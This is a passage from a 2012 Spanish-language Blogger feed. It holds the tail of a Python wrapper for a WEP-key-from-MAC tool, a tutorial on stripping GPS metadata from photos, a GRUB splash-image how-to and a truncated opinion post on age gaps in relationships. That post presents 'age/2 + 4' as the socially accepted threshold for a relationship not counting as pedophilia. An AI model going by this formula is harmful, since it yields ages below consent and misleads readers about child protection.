&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &quot;No se encontaron redes inalámbricas o no especifico adecuadamente la interfaz&quot;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; else:&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &quot;[-] Es necesario ejecutar este script como root para poder emplearlo aplicación terminada.&quot;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;if len (sys.argv) != 2:&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; uso()&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;else:&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; verifica(sys.argv[1])&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/6893533787136551327/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2012/07/automatizando-mac2wepkey-para-trabajar.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/6893533787136551327'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/6893533787136551327'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2012/07/automatizando-mac2wepkey-para-trabajar.html' title='Automatizando mac2wepkey para trabajar desde una terminal Linux'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-4082138571322755991</id><published>2012-06-27T09:51:00.000-07:00</published><updated>2012-06-27T09:51:54.820-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="como se hace"/><category scheme="http://www.blogger.com/atom/ns#" term="eliminar metadatos"/><category scheme="http://www.blogger.com/atom/ns#" term="Image Magic"/><category scheme="http://www.blogger.com/atom/ns#" term="obtener metadatos de una imagen"/><title type='text'>Metadatos hasta en la sopa</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;Antes que nada y para aburrirlos un poco les contaré como fue que surgió la idea de publicar esto, todo se remonta a una vez que mis padres decidieron dar rienda suelta a sus pasiones...&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
No verdad eso es mucho regresar el tiempo, pero me gusta no perder de vista el hecho de que soy producto de la pasión de dos seres humanos jajaja, la verdadera historia surge cuando la semana pasada al usar la aplicación de Mapas de un teléfono Nokia, descubrí que la imagen que había tomado previamente para el post de &quot;Como me robaría yo las elecciones&quot;, aparecía justamente marcada en el mapa en el lugar donde fue tomada, o sea mi casa. Ante esto mi curiosidad&amp;nbsp;&lt;span style=&quot;background-color: white;&quot;&gt;despertó, la idea original de esto es explicar como eliminar esa molesta información que puede resultar comprometedora, pero primero habrá que explicar que son los metadatos.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;Bien los metadatos sirven a grandes rasgos para dar información adicional a un sistema operativo sobre un determinado archivo, profundicemos en esto, por principio de cuentas habrá que recordar que un archivo es solo un conjunto de unos y ceros que se almacenan en nuestro equipo, entonces el sistema debe saber como identificar que tipo de archivo es cada uno, en sistemas basados en UNIX como GNU/Linux o MacOS esto no resulta un problema porque lo hacen mediante el reconocimiento de la estructura del archivo, es decir verifican la forma en la que esta compuesto nuestro archivo y son capaces de saber que una imagen es una imagen aún sin extensión, pero como nuestro querido amigo Gates era un poco huevon la verdad, se las ingenio para hacer uso de la extensión y reconocer el tipo de archivo basado en ellas (lo que en ocasiones sirve a un virus para ejecutarse,&amp;nbsp;haciéndonos&amp;nbsp;pensar que es una imagen por ejemplo), de hecho en las últimas versiones de Windows las extensiones no aparecen y solo vemos un icono según el sistema crea que es la extensión, pero dejemos de lado esas malas prácticas.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
La palabra metadato es una palabra compuesta del griego &quot;μετα&quot;, que significa &#39;junto a&#39;, &#39;después de&#39;, &#39;entre&#39; o &#39;con&#39;. Y del latín datum (lo que se da), pero del cual tomaremos el significado relativo a la informática y es:&amp;nbsp;Información dispuesta de manera adecuada para su tratamiento por un ordenador. Lo que nos da una idea de para que sirven como ya lo había mencionado.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Seguramente muchos se estarán preguntando ¿y para que sirven?, ¿donde se generan?, ¿y, a mi que chingaos con esas madres? (esa última seguramente será de mi amiga surpa jajajaja), bueno como todo en la vida moderna funciona a base de computadoras los metadatos se han colado casi hasta en la sopa (y no dudo que en el futuro cercano así sea), los dispositivos como iPods, teléfonos celulares, navegadores GPS, smartphones y demás, los usan todo el tiempo, por ejemplo el iPod extrae los metadatos de sus canciones a fin de mostrar en su pantalla, el nombre del artista, álbum, año y hasta la letra de la canción (dependiendo el modelo), un GPS extrae información relacionada a lugares cercanos (bancos, estaciones del metro, etc), pero en donde principalmente pueden darnos dolor de cabeza es en las imágenes, como mencione antes la combinación del GPS usado por la aplicación Mapas y la cámara daban como resultado que la imagen tomada previamente apareciera en el mapa, cosa que puede ser útil, pero que bajo otras circunstancias podría servir a cualquier cabrón que les robara el teléfono celular para saber en donde viven o por lo menos donde han estado, ¿ahora entienden el problema?.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Todos los días millones de imágenes se suben al facebook por ejemplo o son compartidas en twitter, hasta ahora he visto que facebook elimina la mayoría de los metadatos de las imágenes, pero no descartaría que los use para otros fines. Pero, ¿qué pasa si subimos las imágenes a un servidor personal? o ¿si las enviamos por correo?, ups el resultado puede no ser tan grato como ustedes creen, yo hice el experimento y comprobé que al enviarme una imagen con metadatos a mi correo desde el celular la información era la misma, así que habrá que tener&amp;nbsp;cuidado&amp;nbsp;con el manejo de la cámara de sus dispositivos, hay forma de evitar que se use la localización pero siempre es recomendable verificar los metadatos de una imagen antes de enviarla.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
En la entrada anterior ya había hablado del conjunto de herramientas llamado &quot;Image Magic&quot; y que viene con la mayoría de las distros GNU/Linux, por lo menos en las más conocidas y usadas, por lo que haré uso de una de esas herramientas para eliminar los metadatos, primero veamos que información podemos obtener de una imagen usando &quot;identify&quot;:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;background-color: white; color: red;&quot;&gt;identify&lt;/span&gt;&lt;span style=&quot;background-color: white;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: white; color: #990000;&quot;&gt;-verbose&lt;/span&gt;&lt;span style=&quot;background-color: white;&quot;&gt; 2012-06-17-024.jpg&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
veamos que fue lo que me mostró:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuK4ABDyd_4ufww8DxVMNqvP_c8FksCCchr3zTqWYYQStHLELxwwJDskkhXN0to8p7KFbmp077L_TUiLdfneLBLk_zN56FRkUh74W01y3meXi8RCHNyrP45ckGNbhLhR5b2bPbjfCtjA/s1600/meta_1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;113&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuK4ABDyd_4ufww8DxVMNqvP_c8FksCCchr3zTqWYYQStHLELxwwJDskkhXN0to8p7KFbmp077L_TUiLdfneLBLk_zN56FRkUh74W01y3meXi8RCHNyrP45ckGNbhLhR5b2bPbjfCtjA/s320/meta_1.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&amp;nbsp;luego un montón de datos que por el momento no comentaré y después llegamos a la parte interesante:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZhIXj72NvpJvkgdQ4xMvk17Su8ogve4SCdjqX5M1SquESg-zztjDlxworAMvwGlg1L9Pe1e9yyjA8w7ME4YcVHrDMwEX9ZfE44xh8eb5OkF3RQz_vlyDt-PgbFQ6KLRAlvEHCF5zb3Q/s1600/meta_2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZhIXj72NvpJvkgdQ4xMvk17Su8ogve4SCdjqX5M1SquESg-zztjDlxworAMvwGlg1L9Pe1e9yyjA8w7ME4YcVHrDMwEX9ZfE44xh8eb5OkF3RQz_vlyDt-PgbFQ6KLRAlvEHCF5zb3Q/s400/meta_2.png&quot; width=&quot;268&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Las tres coordenadas para localizarme jajajajaja Altitud, latitud y longitud XD!!!&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Bueno eso puede resultar en un problema ahora a solucionarlo, en una terminal ejecutamos:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;convert&lt;/span&gt; 2012-06-17-024.jpg &lt;span style=&quot;color: #990000;&quot;&gt;-quality&lt;/span&gt; 40% &lt;span style=&quot;color: #990000;&quot;&gt;-strip -resize&lt;/span&gt; 25% blog_1.jpg&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
ahora a explicar, primero &quot;convert&quot; es el comando que usaremos para convertir la imagen en otra, &quot;-quality&quot; se usa en JPG para indicar la calidad de la imagen, el importante para el asunto que nos interesa &quot;-strip&quot; se encarga de eliminar los metadatos y finalmente &quot;-resize&quot; que en este caso reducirá la imagen a otra más pequeña, esto puede hacerse de manera porcentual o definiendo el tamaño de la forma &lt;b&gt;ancho&lt;/b&gt;x&lt;b&gt;alto&lt;/b&gt;, pero como quiero que la proporción se mantenga y solo reducirla, usaré la escala porcentual, el resultado de esto es:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhGSKNxyHl6M4ViC82PmsZLHDNJ-jSZ-EaaMd85K1cIAB79hSZezL7EGYJvL4SBGDq2fk2wbrJCjMLvyR4bKUgV-VEUZmCgnawux_KdTI0dn36WVgO04JoIVj8n6D9Sl2fT-hSryzJ4A/s1600/meta_3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;113&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhGSKNxyHl6M4ViC82PmsZLHDNJ-jSZ-EaaMd85K1cIAB79hSZezL7EGYJvL4SBGDq2fk2wbrJCjMLvyR4bKUgV-VEUZmCgnawux_KdTI0dn36WVgO04JoIVj8n6D9Sl2fT-hSryzJ4A/s320/meta_3.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4NxjTSC4Ne7JkSPlz_8Wpc_CeDcAKIfFaxrNnEfEllJOOqH-wd5EOOTfpW8D33r8XyKz8NwJgbYUxJBA6au66SvFk8lW4ZLgoOANRDMpFogvkWGGeCWvI8E2QKX-15Sh3WtJnxMOyjQ/s1600/meta_4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;84&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4NxjTSC4Ne7JkSPlz_8Wpc_CeDcAKIfFaxrNnEfEllJOOqH-wd5EOOTfpW8D33r8XyKz8NwJgbYUxJBA6au66SvFk8lW4ZLgoOANRDMpFogvkWGGeCWvI8E2QKX-15Sh3WtJnxMOyjQ/s320/meta_4.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Como se pueden dar cuenta la resolución no se vio afectada por el cambio, en otra ocasión publicaré como hacer también ese cambio, si les interesa. Bueno esta es una buena razón para hacer uso de GNU/Linux, pero sobre todo para que estén conscientes de la existencia de estos bichos llamados metadatos y que los podrían poner en un predicamento, sin saberlo, como siempre el uso responsable de la tecnología debe formar parte de nuestra cultura.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Bueno para los que no dispongan de una terminal de GNU/Linux les puedo decir que Image Magic también tiene una versión para &lt;a href=&quot;http://www.imagemagick.org/script/binary-releases.php?ImageMagick=809ka3jjgc9399b7oaemlicqb6#windows&quot;&gt;Windows&lt;/a&gt; aunque no la he probado, otra alternativa es usar &lt;a href=&quot;http://www.gimp.org/downloads/&quot;&gt;GIMP&lt;/a&gt;, abrir la imagen, guardarla como PNG y en las opciones de exportación eliminar el guardado de comentarios y demás metadatos.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;SaluDoS!!!&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/4082138571322755991/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2012/06/metadatos-hasta-en-la-sopa.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/4082138571322755991'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/4082138571322755991'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2012/06/metadatos-hasta-en-la-sopa.html' title='Metadatos hasta en la sopa'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuK4ABDyd_4ufww8DxVMNqvP_c8FksCCchr3zTqWYYQStHLELxwwJDskkhXN0to8p7KFbmp077L_TUiLdfneLBLk_zN56FRkUh74W01y3meXi8RCHNyrP45ckGNbhLhR5b2bPbjfCtjA/s72-c/meta_1.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-2603371806319081851</id><published>2012-06-25T10:21:00.000-07:00</published><updated>2012-06-25T10:21:45.814-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="como hacer una imagen para GRUB"/><category scheme="http://www.blogger.com/atom/ns#" term="como se hace"/><category scheme="http://www.blogger.com/atom/ns#" term="configurar equipos"/><category scheme="http://www.blogger.com/atom/ns#" term="GRUB"/><category scheme="http://www.blogger.com/atom/ns#" term="imagen en GRUB"/><category scheme="http://www.blogger.com/atom/ns#" term="personalizar GRUB"/><title type='text'>Imagen personalizada en Grub</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
A&amp;nbsp;propósito&amp;nbsp;de otro post que estoy preparando, me vi en la necesidad de crear una imagen para el cargador de archivos GRUB, cosa que técnicamente no es complicada pero de la que no encontré mucha información al respecto en la red, por lo que me dí a la tarea de escribir esta entrada para futuras referencias respecto al tema.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para los que no lo sepan GRUB (GRand Unified Bootloader) es un proyecto de GNU Linux que nació con la finalidad como su nombre lo indica de unificar la carga de sistemas operativos o como los gringos lo llaman bootloader, explicar que es el boot queda completamente fuera del alcance de esta entrada pues tendría que explicar demasiado y ando escaso de tiempo, pero puede ser que en un futuro lo explique detalladamente, lo que si puedo explicar de manera rápida, es que todo sistema operativo, necesita cargarse desde algún lugar (en la actualidad ese lugar puede ser incluso una MircoSD), pero además para poder arrancar dependiendo de las&amp;nbsp;características&amp;nbsp;propias de cada sistema operativo necesitara una mayor cantidad de parámetros para ello, en Windows XP por ejemplo el archivo &quot;boot.ini&quot; explica en que lugar del disco duro se encuentra la instalación de nuestro sistema.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Pero ya me estoy enrollando demasiado con explicaciones fuera de lugar, GRUB para poder cargar los sistemas operativos se basa en un archivo llamado &quot;menu.lst&quot; que normalmente se encuentra en &quot;/boot/grub/&quot;, ese archivo es el que contiene las entradas necesarias para poder cargar nuestro(s) sistema(s) operativo(s), la entrada para poder poner una imagen de fondo en ese menú es &quot;splashimage&quot; y normalmente esta comentada (¿o sea?, comienza con un #), bueno en ese caso debemos eliminar el comentario es decir el carácter &quot;#&quot; y remplazar la línea por algo como &quot;&lt;span style=&quot;color: red;&quot;&gt;splashimage&lt;/span&gt;=&lt;span style=&quot;color: #073763;&quot;&gt;(hd0,0)&lt;/span&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt;/boot/grub/&lt;/span&gt;&lt;span style=&quot;color: purple;&quot;&gt;booting.xpm&lt;/span&gt;&quot;, una explicación rápida (hd0/0) indica el disco duro y la partición desde donde se va a cargar dicha imagen, en este caso disco duro 0 (principal) y partición (0) también partición principal, &quot;/boot/grub/&quot; la ruta al lugar donde esta la imagen [&lt;b&gt;Nota:&lt;/b&gt; la carpeta donde se encuentre este archivo debe ser accesible desde el arranque, si tienen una partición cifrada no funcionará si la ponen ahí.], finalmente &quot;booting.xpm&quot; es el nombre de la imagen en cuestión, aquí es a donde llegamos a la parte interesante ¿cómo chin... hacer para crear estas imágenes?, hay dos opciones, la primera hacer un programa (muy interesante y casi desconocido por cierto) que forma parte de ImageMagic, la otra usar GIMP o algún otro editor de imagen, para el caso de usar ImageMagic, abrimos una terminal, nos ubicamos en la carpeta donde se encuentra nuestra imagen en formato PNG (preferentemente), JPG, etc, y ejecutamos el comando:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
convert MiImagen.extensión &lt;span style=&quot;color: red;&quot;&gt;-colors 14 -resize 640x480&lt;/span&gt; NombreFinal.xpm&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
o para ser más claro si mi imagen se llama ZoSemU.png y la vamos a dejar lista para la entrada del menú sugerida arriba, quedaría de la siguiente manera:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
convert ZoSemU.png &lt;span style=&quot;color: red;&quot;&gt;-colors 14 -resize 640x480&lt;/span&gt; booting.xpm&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
con eso nuestra imagen habrá quedado lista para usarse en el GRUB; en caso de usar GIMP, puede hacer el procedimiento normal de redimencionar la imagen, ponerle letras, etc, etc y al final ir al menú &quot;Imagen/Modo/Indexeado/Generar paleta óptima &amp;nbsp; Número máximo de colores&quot; y darle 14 en lugar de los 256 que tiene por defecto, una vez terminado les pedirá convertir, la guardan con la extensión &quot;xpm&quot; y listo.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Finalmente solo les recuerdo que GRUB también soporta la compresión de estos archivos en formato &quot;gz&quot; por lo que desde la terminal procedemos a comprimirla usando el comando:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&quot;gzip booting.xpm&quot;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
lo que dará como resultado el archivo &quot;booting.xpm.gz&quot; y nuestra linea de GRUB quedaría de la siguiente forma:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
splashimage=(hd0,0)/boot/grub/booting.xpm.gz&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
SaluDoS!!&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/2603371806319081851/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2012/06/imagen-personalizada-en-grub.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/2603371806319081851'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/2603371806319081851'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2012/06/imagen-personalizada-en-grub.html' title='Imagen personalizada en Grub'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-1573952152665478039</id><published>2012-06-22T12:37:00.000-07:00</published><updated>2012-06-22T12:43:42.382-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="artículos"/><category scheme="http://www.blogger.com/atom/ns#" term="opiniones"/><title type='text'>La edad del amor?</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Dicen que para el amor no hay edad, sin embargo es una gran realidad que unos años si hacen una gran diferencia entre lo que se quiere y lo que se puede esperar de una relación, cuando la edad diferencia de edades entre los que forman la pareja es muy amplia, ¿se puede realmente ser feliz?.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Primero definamos dos cosas, estar enamorado y amar no es lo mismo, de hecho estudios&amp;nbsp;antropológicos,&amp;nbsp;fisiológicos, etc, etc, lo han demostrado,&amp;nbsp;técnicamente&amp;nbsp;las reacciones que experimenta el cuerpo con eso del amor se puede dividir en tres, que a groso modo y para no&amp;nbsp;enrollarme&amp;nbsp;tanto diré que son: pasión, enamoramiento y amor.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Partiendo de este hecho podríamos decir que el estado que más felicidad produce en las personas es el enamoramiento, etapa durante la cual literalmente nos volvemos ciegos, sordos, tontos por decirlo rápido; pero eso no siempre pasa y&amp;nbsp;puede ser adictivo debido a los niveles de serotonina que libera el cerebro durante esta etapa. Literalmente nos hace felices el estar con esa persona, para llegar a un estado de enamoramiento mayor en donde nos volvemos bobos, hace falta más que solo químicos y es aquí donde entran los detalles, caricias, besos, contacto en general, pero este estado &amp;nbsp;reforzarse se convierte en algo más profundo a lo que llamamos amor, que el cerebro interpreta más como una sensación de tranquilidad y relajación, el amor es interpretado como certeza por nuestro cerebro.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Dejando atrás lo que dicen un&amp;nbsp;montón&amp;nbsp;de&amp;nbsp;científicos&amp;nbsp;y lo que en nuestra pequeña cabeza se pueda desarrollar, viene un factor adicional para aquellos que quieren formar una pareja (o no tanto), la &lt;b&gt;sociedad&lt;/b&gt;, es obvio que al pertenecer a una sociedad las relaciones de toda persona serán sometidas a juicio (critica) por parte de la sociedad, desde los factores&amp;nbsp;socio-económicos&amp;nbsp;hasta lo primitivo de nuestro ser que nos dice que hay que mejorar la raza (genéticamente hablando si tiene implicaciones, no es racismo), habrá opiniones respecto a lo que puedan considerar &quot;el mejor partido&quot; para sus amigos, primos, hermanos,&amp;nbsp;tíos, pero sobre todo padres e hijos.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Socialmente hablando la edad aceptada para que una relación no sea considerada &lt;a href=&quot;http://es.wikipedia.org/wiki/Pedofilia&quot;&gt;pedofilia&lt;/a&gt;, esta dada por una ecuación muy particular y que despejada puede darnos una idea bastante amplia de como cambia lo socialmente aceptable, veamos:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
edad_aceptable = (edad_individuo / 2) + 4&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
